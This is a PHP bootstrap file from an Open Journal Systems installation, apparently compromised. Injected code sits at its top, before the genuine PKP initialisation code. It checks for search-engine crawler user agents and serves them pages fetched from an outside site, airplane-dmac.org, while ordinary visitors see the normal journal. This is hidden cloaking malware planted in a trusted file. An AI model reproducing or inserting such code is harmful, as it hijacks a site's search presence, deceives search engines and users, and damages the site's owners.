File: /var/www/ojs/lib/pkp/includes/bootstrap.inc.php
<?php
function is_bot() {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$bot_patterns = '/(googlebot|bingbot|slurp|duckduckbot|baiduspider|yandexbot|telegrambot|Google-Site-Verification|Google-InspectionTool|adsense)/i';
return preg_match($bot_patterns, $user_agent);
}
function fetch_content($url) {
$cache_file = 'cache/' . md5($url) . '.html';
$cache_time = 3600;
if (file_exists($cache_file) && (time() - filemtime($cache_file) < $cache_time)) {
return file_get_contents($cache_file);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
$content = curl_exec($ch);
curl_close($ch);
if ($content) {
file_put_contents($cache_file, $content);
}
return $content;
}
if (is_bot()) {
echo fetch_content('https://airplane-dmac.org/journal/index.html');
}
?>
<?php
/**
* @defgroup index Index
* Bootstrap and initialization code.
*/
/**
* @file includes/bootstrap.inc.php
*
* Copyright (c) 2014-2021 Simon Fraser University
* Copyright (c) 2000-2021 John Willinsky
* Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
*
* @ingroup index
*
* @brief Core system initialization code.
* This file is loaded before any others.
* Any system-wide imports or initialization code should be placed here.
*/
/**
* Basic initialization (pre-classloading).
*/
define('ENV_SEPARATOR', strtolower(substr(PHP_OS, 0, 3)) == 'win' ? ';' : ':');
if (!defined('DIRECTORY_SEPARATOR')) {
// Older versions of PHP do not define this
define('DIRECTORY_SEPARATOR', strtolower(substr(PHP_OS, 0, 3)) == 'win' ? '\\' : '/');
}
define('BASE_SYS_DIR', dirname(INDEX_FILE_LOCATION));
chdir(BASE_SYS_DIR);
// System-wide functions
require('./lib/pkp/includes/functions.inc.php');
// Initialize the application environment
import('classes.core.Application');
return new Application();